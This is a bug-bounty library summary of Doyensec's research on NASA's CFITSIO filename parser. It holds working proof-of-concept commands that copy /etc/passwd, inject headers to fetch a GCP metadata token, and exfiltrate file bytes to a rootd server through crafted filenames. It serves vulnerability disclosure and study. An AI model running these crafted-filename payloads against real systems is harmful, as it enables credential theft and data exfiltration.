# When Filenames Become Attack Surfaces: Weaponizing NASA's CFITSIO Extended Filename Syntax &middot; Doyensec's Blog

CFITSIO's Extended Filename Syntax lets attacker-controlled filenames trigger arbitrary file copy, SSRF, HTTP header injection, and root://-based local file exfiltration.

- Payout: Research
- Severity: high
- Program: NASA CFITSIO
- Write-up by: Doyensec
- Disclosed: 2026-05-18
- Write-up quality: 8/10
- Original: https://blog.doyensec.com/2026/05/19/cfitsio-weaponized-filenames.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-doyensec-com-2026-05-19-cfitsio-weaponized-filenames-html
- Tags: area:oss domain:oss impact:data-leak impact:internal-access kind:research platform:research sev:high technique:chained technique:source-review vuln:crlf-injection vuln:info-disclosure vuln:path-traversal vuln:ssrf

**Target:** CFITSIO library Extended Filename Syntax (ffopen EFS parser, drvrnet.c HTTP driver, root:// driver)
**Root cause:** EFS treats a filename as a mini-language reinterpreting it as protocol, outfile clause, extension selector, or filter; the HTTP driver snprintf's the attacker-controlled path unsanitized into the request line, and the outfile clause copies/downloads before validation.
**Steps:**
1. Arbitrary file copy: `fits-sample-opener '/etc/passwd(/workspace/foo)'` copies /etc/passwd before FITS validation fails.
2. SSRF+write: `fits-sample-opener 'https://example.com/anyfile(/workspace/grabbed.file)'` fetches remote content and writes it locally.
3. Header injection: `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1\nMetadata-Flavor: Google\nfoo:(/workspace/output.txt)` — trailing `foo:` comments out appended ` HTTP/1.0\r\n`.
4. Exfil: `'/etc/passwd(root://127.0.0.1:1094//foobar)[b500,1][*,*]'` wraps first 500 bytes as raw FITS image and PUTs to attacker rootd server.
5. Run against mock root.py server to capture exfiltrated bytes.
**How found:** Read the EFS documentation and noticed documented features (outfile, remote protocols, filters) form a powerful mini-language; reviewed ffopen driver table and drvrnet.c, spotted unsanitized snprintf of filename into HTTP request line, then searched for a writable network driver (root://) to turn local reads into exfiltration.
**Exploitation:** Attacker supplies a crafted filename to any EFS-enabled fits_open_file caller. The outfile clause copies local files or downloads remote URLs to attacker-chosen paths; newline injection in the HTTP driver adds headers (e.g. Metadata-Flavor: Google) to reach cloud metadata token endpoints; the root:// driver plus [b500,1][*,*] raw-data clause fabricates a FITS image from arbitrary local file bytes and uploads them to an attacker-controlled rootd server (works non-interactively when stdin is EOF).
**Escalation:** Chains SSRF with header injection to reach GCP metadata token endpoint, and chains local file read with raw-data clause and root:// driver to achieve outbound exfiltration without a web server.
**Insight:** When a parameter is called a filename but is parsed as a mini-language, enumerate every clause (outfile, protocol prefix, [b...] raw-data, filters) and chain them: an outfile clause can convert any read primitive into a write/exfil primitive, and unsanitized snprintf of the path into a protocol request line enables header injection to bypass metadata-service header requirements.

## Proof of concept (copied exactly from the original report)

**Arbitrary file copy via outfile clause**

```
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
 fits-sample-opener '/etc/passwd(/workspace/foo)'
```

**HTTP header injection to GCP metadata**

```
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
 fits-sample-opener $'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1\nMetadata-Flavor: Google\nfoo:(/workspace/output.txt)'
```

**Local file exfiltration via root:// driver**

```
docker run --network=host --rm cfitsio:4.6.3 \
 fits-sample-opener '/etc/passwd(root://127.0.0.1:1094//foobar)[b500,1][*,*]'
```

